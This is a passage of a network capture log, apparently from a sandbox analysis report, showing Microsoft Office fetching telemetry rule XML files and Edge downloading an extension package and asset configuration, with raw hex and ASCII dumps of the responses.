2024-11-15 15:16:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:28 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 41a7f78c-b01e-0097-2b78-354f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151628Z-164f84587bfm8kdnhC1DFWey4g00000001dg00000000n44z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:28 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:28 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 849cffad-401e-008c-4c40-3686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151628Z-16547b76f7f7rtshhC1DFWrtqn0000000nbg00000000bymk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:28 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:28 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:28 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151628Z-16547b76f7f8dwtrhC1DFWd1zn0000000nfg000000006adw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49819	23.192.223.232	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:28 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732288585&P2=404&P3=2&P4=W1KtPq7HgPh1VijiGtjyKYM8qq3AvOEPBxT2jACsz3TMbVLhGSmcWaU516WMv83Kg%2fQ2eQ%2fU4txYrMxOUacMng%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: IVdfMRJtev1YeOdfcjEZfM Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:28 UTC	1216	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 745b49c1-acf6-494f-bb99-76a557d42c5a MS-RequestId: a22c0f43-ae18-4e3e-97fa-527df1a9377f MS-CV: sIE3MvGfP61Wm85kBfJa5e.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86397 Date: Fri, 15 Nov 2024 15:16:28 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.202.88.101,b=34927661,c=g,n=US_TX_DALLAS,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.6558ca17.1731683788.214f42d Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-15 15:16:28 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49818	13.107.246.57	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:28 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:29 UTC	583	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:29 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: c90133e2-901e-0026-4f2a-37f3b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241115T151629Z-164f84587bfffmgqhC1DFWk5ts00000001s0000000002mzd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 15:16:29 UTC	15801	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-15 15:16:29 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-15 15:16:29 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-15 15:16:29 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-15 15:16:29 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 584cc2e3-301e-005d-1eab-36e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151629Z-16547b76f7fmbrhqhC1DFWkds80000000n8g00000000n9p5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:29 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 383c7f00-901e-008f-5aa8-3667a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151629Z-16547b76f7fmbrhqhC1DFWkds80000000nag00000000gb2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 15:16:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:29 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 311992b2-201e-006e-6426-37bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151629Z-164f84587bf6n6jwhC1DFW90fn00000000n000000000kquf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 15:16:29 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 